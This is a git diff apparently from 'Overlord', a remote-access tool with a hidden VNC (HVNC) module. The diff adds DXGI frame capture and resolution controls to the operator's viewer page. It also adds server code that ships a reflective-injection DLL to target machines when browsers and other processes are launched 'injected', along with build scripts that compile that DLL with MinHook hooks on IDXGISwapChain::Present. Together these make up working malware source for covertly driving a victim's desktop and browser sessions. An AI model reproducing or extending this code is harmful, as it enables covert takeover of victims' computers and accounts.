- const cursorCtrl = document.getElementById("cursorCtrl");
const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
const qualitySlider = document.getElementById("qualitySlider");
const qualityValue = document.getElementById("qualityValue");
@@ -72,11 +71,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
const viewerFps = document.getElementById("viewerFps");
const statusEl = document.getElementById("streamStatus");
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
+ const dxgiCtrl = document.getElementById("dxgiCtrl");
+ const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
function syncInputEnableState() {
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
- if (cursorCtrl) sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
+ if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
+ pushHvncResolution();
}
let activeClientId = clientId;
let renderCount = 0;
@@ -558,9 +560,23 @@ import { checkFeatureAccess } from "./feature-gate.js";
kbdCtrl.addEventListener("change", function () {
sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
});
- cursorCtrl.addEventListener("change", function () {
- sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
- });
+ if (dxgiCtrl) {
+ dxgiCtrl.addEventListener("change", function () {
+ sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
+ });
+ }
+
+ function pushHvncResolution() {
+ if (hvncResolutionSelect) {
+ const maxHeight = parseInt(hvncResolutionSelect.value, 10);
+ sendCmd("hvnc_set_resolution", { maxHeight: maxHeight });
+ }
+ }
+ if (hvncResolutionSelect) {
+ hvncResolutionSelect.addEventListener("change", function () {
+ pushHvncResolution();
+ });
+ }
if (qualitySlider) {
updateQualityLabel(qualitySlider.value);
diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html
index be76cd8..01747f6 100644
--- a/Overlord-Server/public/hvnc.html
+++ b/Overlord-Server/public/hvnc.html
@@ -128,12 +128,22 @@
-
+
+
+
diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts
index 82dbdea..c376afc 100644
--- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts
+++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts
@@ -17,6 +17,10 @@ let _cachedInjectionDll: Uint8Array | null = null;
let _dllCachePath: string | null = null;
let _dllCacheMtimeMs: number = 0;
+let _cachedCaptureDll: Uint8Array | null = null;
+let _captureDllCachePath: string | null = null;
+let _captureDllCacheMtimeMs: number = 0;
+
function getInjectionDllBytes(): Uint8Array | null {
const runtimeRoot = resolveRuntimeRoot();
const candidates = [
@@ -61,6 +65,49 @@ function getInjectionDllBytes(): Uint8Array | null {
return null;
}
+function getCaptureDllBytes(): Uint8Array | null {
+ const runtimeRoot = resolveRuntimeRoot();
+ const candidates = [
+ path.resolve(runtimeRoot, "dist-clients", "HVNCCapture.x64.dll"),
+ path.resolve(process.cwd(), "dist-clients", "HVNCCapture.x64.dll"),
+ path.resolve(import.meta.dir, "../../dist-clients/HVNCCapture.x64.dll"),
+ ];
+
+ if (_captureDllCachePath) {
+ try {
+ const { statSync } = require("fs");
+ const st = statSync(_captureDllCachePath);
+ if (st.mtimeMs === _captureDllCacheMtimeMs && _cachedCaptureDll) {
+ return _cachedCaptureDll;
+ }
+ _cachedCaptureDll = new Uint8Array(readFileSync(_captureDllCachePath));
+ _captureDllCacheMtimeMs = st.mtimeMs;
+ logger.info(`[hvnc] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
+ return _cachedCaptureDll;
+ } catch {
+ _captureDllCachePath = null;
+ _cachedCaptureDll = null;
+ }
+ }
+
+ for (const dllPath of candidates) {
+ if (!existsSync(dllPath)) continue;
+ try {
+ const { statSync } = require("fs");
+ const st = statSync(dllPath);
+ _cachedCaptureDll = new Uint8Array(readFileSync(dllPath));
+ _captureDllCachePath = dllPath;
+ _captureDllCacheMtimeMs = st.mtimeMs;
+ logger.info(`[hvnc] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
+ return _cachedCaptureDll;
+ } catch {
+ continue;
+ }
+ }
+
+ return null;
+}
+
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
if (typeof raw === "string") {
try {
@@ -757,6 +804,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st
case "hvnc_enable_cursor":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_cursor", { enabled: !!payload.enabled });
break;
+ case "hvnc_enable_dxgi":
+ if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_dxgi", { enabled: !!payload.enabled });
+ break;
+ case "hvnc_set_resolution": {
+ const maxHeight = Number(payload.maxHeight) || 0;
+ if (state.isStreaming) sendHVNCCommand(target, "hvnc_set_resolution", { maxHeight });
+ break;
+ }
case "hvnc_mouse_move":
if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 });
break;
@@ -799,12 +854,15 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break;
}
- sendHVNCCommand(target, "hvnc_start_process_injected", {
+ const captureDll = getCaptureDllBytes();
+ const cmdPayload: Record = {
path: String(payload.path || ""),
search_path: String(payload.search_path || ""),
replace_path: String(payload.replace_path || ""),
dll: dllData,
- });
+ };
+ if (captureDll) cmdPayload.capture_dll = captureDll;
+ sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
break;
}
case "hvnc_start_chrome_injected": {
@@ -814,10 +872,13 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break;
}
- sendHVNCCommand(target, "hvnc_start_chrome_injected", {
+ const captureDllChrome = getCaptureDllBytes();
+ const chromeCmdPayload: Record = {
path: String(payload.path || ""),
dll: dllData,
- });
+ };
+ if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
+ sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
break;
}
case "hvnc_start_browser_injected": {
@@ -827,14 +888,17 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
break;
}
- sendHVNCCommand(target, "hvnc_start_browser_injected", {
+ const captureDllBrowser = getCaptureDllBytes();
+ const browserCmdPayload: Record = {
browser: String(payload.browser || ""),
path: String(payload.path || ""),
clone: payload.clone !== false,
cloneLite: payload.cloneLite === true,
killIfRunning: payload.killIfRunning === true,
dll: dllData,
- });
+ };
+ if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
+ sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);
break;
}
case "clipboard_sync": {
diff --git a/build-hvnc-capture-dll.bat b/build-hvnc-capture-dll.bat
new file mode 100644
index 0000000..2f6fa70
--- /dev/null
+++ b/build-hvnc-capture-dll.bat
@@ -0,0 +1,53 @@
+@echo off
+setlocal EnableDelayedExpansion
+REM Build HVNCCapture DLL for Windows x64 using MSBuild (vcxproj).
+REM Run from VS Developer Command Prompt, or let the script detect VS.
+
+set ROOT=%~dp0
+set PROJ=%ROOT%HVNCCapture\HVNCCapture.vcxproj
+set OUT_DIR=%ROOT%Overlord-Server\dist-clients
+set CONFIG=Release
+set PLATFORM=x64
+
+REM Locate MSBuild via vswhere if not already on PATH
+where msbuild.exe >nul 2>&1
+if %ERRORLEVEL% neq 0 (
+ echo msbuild.exe not found, searching for Visual Studio ...
+ set "FOUND_VS="
+ for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.Component.MSBuild -find MSBuild\**\Bin\MSBuild.exe 2^>nul`) do (
+ set "MSBUILD_PATH=%%i"
+ set "FOUND_VS=1"
+ )
+ if not defined FOUND_VS (
+ echo ERROR: Visual Studio with MSBuild not found.
+ exit /b 1
+ )
+ echo Found MSBuild at: !MSBUILD_PATH!
+)
+
+if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
+
+echo Building HVNCCapture.vcxproj [%CONFIG%^|%PLATFORM%] ...
+if defined MSBUILD_PATH (
+ "!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
+) else (
+ msbuild.exe "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal
+)
+if %ERRORLEVEL% neq 0 goto :error
+
+if not exist "%OUT_DIR%\HVNCCapture.x64.dll" (
+ echo ERROR: DLL not found in output directory.
+ goto :error
+)
+
+echo.
+echo Built: %OUT_DIR%\HVNCCapture.x64.dll
+dir "%OUT_DIR%\HVNCCapture.x64.dll"
+
+echo Done.
+exit /b 0
+
+:error
+echo.
+echo BUILD FAILED
+exit /b 1
diff --git a/build-hvnc-capture-dll.sh b/build-hvnc-capture-dll.sh
new file mode 100644
index 0000000..18fed25
--- /dev/null
+++ b/build-hvnc-capture-dll.sh
@@ -0,0 +1,247 @@
+#!/usr/bin/env bash
+# Build HVNCCapture DLL for Windows x64 using MinGW cross-compiler (C++).
+# Run from the repository root or from Docker.
+#
+# HVNCCapture hooks IDXGISwapChain::Present to capture frames from the GPU
+# process. It uses MinHook for hooking and ReflectiveLoader for injection.
+#
+# Requirements:
+# - x86_64-w64-mingw32-g++ (C++ mode needed for COM vtable calls / __uuidof)
+# - MinHook source under HVNCCapture/Minhook/
+#
+# If MinHook source is not available, you can pre-build the DLL with MSVC
+# on Windows using build-hvnc-capture-dll.bat and place the output at:
+# Overlord-Server/dist-clients/HVNCCapture.x64.dll
+
+set -euo pipefail
+cd "$(dirname "$0")"
+
+# C++ compiler for COM / __uuidof support
+CXX="${CXX:-x86_64-w64-mingw32-g++}"
+CC="${CC:-x86_64-w64-mingw32-gcc}"
+SRC_DIR="${HVNC_CAPTURE_SRC_DIR:-HVNCCapture/src}"
+OUT_DIR="${HVNC_CAPTURE_OUT_DIR:-Overlord-Server/dist-clients}"
+DLL_NAME="HVNCCapture.x64.dll"
+MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}"
+MINHOOK_REF="${MINHOOK_REF:-master}"
+HVNC_FETCH_MINHOOK="${HVNC_FETCH_MINHOOK:-1}"
+MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-HVNCCapture/Minhook}"
+
+mkdir -p "$OUT_DIR"
+
+MINHOOK_DIR="$SRC_DIR/minhook"
+
+stage_minhook_tree() {
+ local source_root="$1"
+ local include_root="${2:-$1}"
+
+ mkdir -p "$MINHOOK_DIR/hde"
+ cp -f "$source_root/buffer.c" "$MINHOOK_DIR/" 2>/dev/null || true
+ cp -f "$source_root/buffer.h" "$MINHOOK_DIR/" 2>/dev/null || true
+ cp -f "$source_root/hook.c" "$MINHOOK_DIR/" 2>/dev/null || true
+ cp -f "$source_root/trampoline.c" "$MINHOOK_DIR/" 2>/dev/null || true
+ cp -f "$source_root/trampoline.h" "$MINHOOK_DIR/" 2>/dev/null || true
+ cp -f "$source_root/hde/hde64.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true
+ cp -f "$source_root/hde/hde64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
+ cp -f "$source_root/hde/hde32.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true
+ cp -f "$source_root/hde/hde32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
+ cp -f "$source_root/hde/pstdint.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
+ cp -f "$source_root/hde/table64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
+ cp -f "$source_root/hde/table32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true
+
+ mkdir -p "$SRC_DIR/include"
+ if [ -f "$source_root/MinHook.h" ]; then
+ cp -f "$source_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
+ cp -f "$source_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
+ elif [ -f "$include_root/MinHook.h" ]; then
+ cp -f "$include_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
+ cp -f "$include_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
+ fi
+}
+
+stage_minhook_from_static_dir() {
+ local candidate_src=""
+ local candidate_include=""
+
+ for dir in "$MINHOOK_STATIC_DIR" "HVNCCapture/Minhook" "HVNCCapture/minhook"; do
+ if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then
+ candidate_src="$dir"
+ candidate_include="$dir"
+ break
+ fi
+
+ if [ -f "$dir/src/hook.c" ] && [ -f "$dir/src/hde/hde64.c" ]; then
+ candidate_src="$dir/src"
+ if [ -f "$dir/include/MinHook.h" ]; then
+ candidate_include="$dir/include"
+ else
+ candidate_include="$dir/src"
+ fi
+ break
+ fi
+ done
+
+ if [ -n "$candidate_src" ]; then
+ echo "Using static MinHook source from $candidate_src"
+ stage_minhook_tree "$candidate_src" "$candidate_include"
+ return 0
+ fi
+
+ return 1
+}
+
+# Verify C++ cross-compiler is available
+if ! command -v "$CXX" >/dev/null 2>&1; then
+ echo "ERROR: C++ cross compiler not found: $CXX"
+ echo "Install mingw-w64 (x86_64-w64-mingw32-g++) in your build image/environment."
+ exit 1
+fi
+
+fetch_minhook() {
+ if [ "$HVNC_FETCH_MINHOOK" != "1" ]; then
+ return 1
+ fi
+
+ if ! command -v git >/dev/null 2>&1; then
+ echo "WARNING: git is not available; cannot auto-fetch MinHook."
+ return 1
+ fi
+
+ echo "MinHook source not found; fetching from $MINHOOK_REPO ($MINHOOK_REF) ..."
+ local tmpdir
+ tmpdir="$(mktemp -d)"
+
+ if ! git clone --depth 1 --branch "$MINHOOK_REF" "$MINHOOK_REPO" "$tmpdir/minhook"; then
+ rm -rf "$tmpdir"
+ echo "WARNING: Failed to fetch MinHook source."
+ return 1
+ fi
+
+ stage_minhook_tree "$tmpdir/minhook/src" "$tmpdir/minhook/include"
+ cp -f "$tmpdir/minhook/include/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true
+ mkdir -p "$SRC_DIR/include"
+ cp -f "$tmpdir/minhook/include/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true
+ rm -rf "$tmpdir"
+
+ [ -f "$MINHOOK_DIR/hook.c" ]
+}
+
+# --- Stage MinHook source ---
+if [ ! -d "$MINHOOK_DIR" ]; then
+ if ! stage_minhook_from_static_dir && ! fetch_minhook; then
+ echo "WARNING: MinHook source not found at $MINHOOK_DIR"
+ echo "Attempting to use pre-compiled libMinHook.x64.lib ..."
+ echo "(This may fail with MinGW. Build with MSVC on Windows instead.)"
+ MINHOOK_OBJS=""
+ MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
+ MINHOOK_INC=""
+ fi
+fi
+
+if [ -d "$MINHOOK_DIR" ]; then
+ if [ ! -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$MINHOOK_DIR/MinHook.c" ]; then
+ stage_minhook_from_static_dir || fetch_minhook || true
+ fi
+fi
+
+if [ -d "$MINHOOK_DIR" ] && { [ -f "$MINHOOK_DIR/hook.c" ] || [ -f "$MINHOOK_DIR/MinHook.c" ]; }; then
+ echo "Building MinHook from source ..."
+ MINHOOK_OBJS=""
+ MINHOOK_LIB=""
+ MINHOOK_INC="-I$MINHOOK_DIR -I$MINHOOK_DIR/hde"
+
+ if [ -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$SRC_DIR/include/MinHook.h" ]; then
+ mkdir -p "$SRC_DIR/include"
+ if [ -f "$MINHOOK_DIR/MinHook.h" ]; then
+ cp -f "$MINHOOK_DIR/MinHook.h" "$SRC_DIR/include/MinHook.h"
+ elif [ -f "$MINHOOK_DIR/include/MinHook.h" ]; then
+ cp -f "$MINHOOK_DIR/include/MinHook.h" "$SRC_DIR/include/MinHook.h"
+ fi
+ fi
+
+ # MinHook is pure C — compile with gcc
+ for src in "$MINHOOK_DIR"/buffer.c "$MINHOOK_DIR"/trampoline.c \
+ "$MINHOOK_DIR"/hde/hde64.c "$MINHOOK_DIR"/hde/hde32.c \
+ "$MINHOOK_DIR"/hook.c "$MINHOOK_DIR"/MinHook.c; do
+ if [ -f "$src" ]; then
+ obj="${src%.c}.o"
+ "$CC" -c -O2 -DWIN64 -D_WIN64 -fno-stack-protector -fno-asynchronous-unwind-tables $MINHOOK_INC -o "$obj" "$src"
+ MINHOOK_OBJS="$MINHOOK_OBJS $obj"
+ fi
+ done
+
+ if [ -z "${MINHOOK_OBJS// }" ]; then
+ echo "WARNING: No MinHook objects were built, falling back to pre-compiled libMinHook.x64.lib"
+ MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
+ MINHOOK_INC=""
+ fi
+else
+ MINHOOK_OBJS=""
+ MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
+ MINHOOK_INC=""
+fi
+
+# --- Compile HVNCCapture sources ---
+# DXGICapture.c is compiled as C++ for COM vtable calls and __uuidof
+CXXFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
+CXXFLAGS="$CXXFLAGS -DHVNCCapture_EXPORTS -DWIN_X64"
+CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
+CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
+CXXFLAGS="$CXXFLAGS -fno-stack-protector"
+CXXFLAGS="$CXXFLAGS -fno-asynchronous-unwind-tables"
+CXXFLAGS="$CXXFLAGS -fno-exceptions -fno-rtti"
+CXXFLAGS="$CXXFLAGS -I$SRC_DIR"
+if [ -n "${MINHOOK_INC:-}" ]; then
+ CXXFLAGS="$CXXFLAGS $MINHOOK_INC"
+fi
+
+# C flags for ReflectiveLoader (pure C, no C++)
+CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
+CFLAGS="$CFLAGS -DHVNCCapture_EXPORTS -DWIN_X64"
+CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
+CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
+CFLAGS="$CFLAGS -fno-stack-protector"
+CFLAGS="$CFLAGS -fno-asynchronous-unwind-tables"
+CFLAGS="$CFLAGS -I$SRC_DIR"
+if [ -n "${MINHOOK_INC:-}" ]; then
+ CFLAGS="$CFLAGS $MINHOOK_INC"
+fi
+
+echo "Compiling ReflectiveLoader.c ..."
+"$CC" -c $CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
+
+echo "Compiling ReflectiveDll.c (C++) ..."
+"$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c"
+
+echo "Compiling DXGICapture.c (C++) ..."
+"$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/DXGICapture.o" "$SRC_DIR/DXGICapture.c"
+
+echo "Linking $DLL_NAME ..."
+LINK_OBJS="$SRC_DIR/ReflectiveLoader.o $SRC_DIR/ReflectiveDll.o $SRC_DIR/DXGICapture.o"
+if [ -n "${MINHOOK_OBJS:-}" ]; then
+ LINK_OBJS="$LINK_OBJS $MINHOOK_OBJS"
+fi
+LINK_LIBS="-lkernel32 -luser32 -ladvapi32 -ld3d11 -ldxgi"
+if [ -n "${MINHOOK_LIB:-}" ] && [ -f "${MINHOOK_LIB}" ]; then
+ LINK_LIBS="$LINK_LIBS $MINHOOK_LIB"
+fi
+
+"$CXX" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \
+ -Wl,--entry,DllMain \
+ -Wl,--no-seh \
+ -Wl,--disable-runtime-pseudo-reloc \
+ -fno-stack-protector \
+ -fno-exceptions -fno-rtti \
+ -static-libgcc -static-libstdc++ \
+ -s
+
+echo "Built: $OUT_DIR/$DLL_NAME"
+ls -la "$OUT_DIR/$DLL_NAME"
+
+# Clean up object files
+rm -f "$SRC_DIR"/*.o
+if [ -d "$MINHOOK_DIR" ]; then
+ find "$MINHOOK_DIR" -name '*.o' -delete
+fi
+
+echo "Done."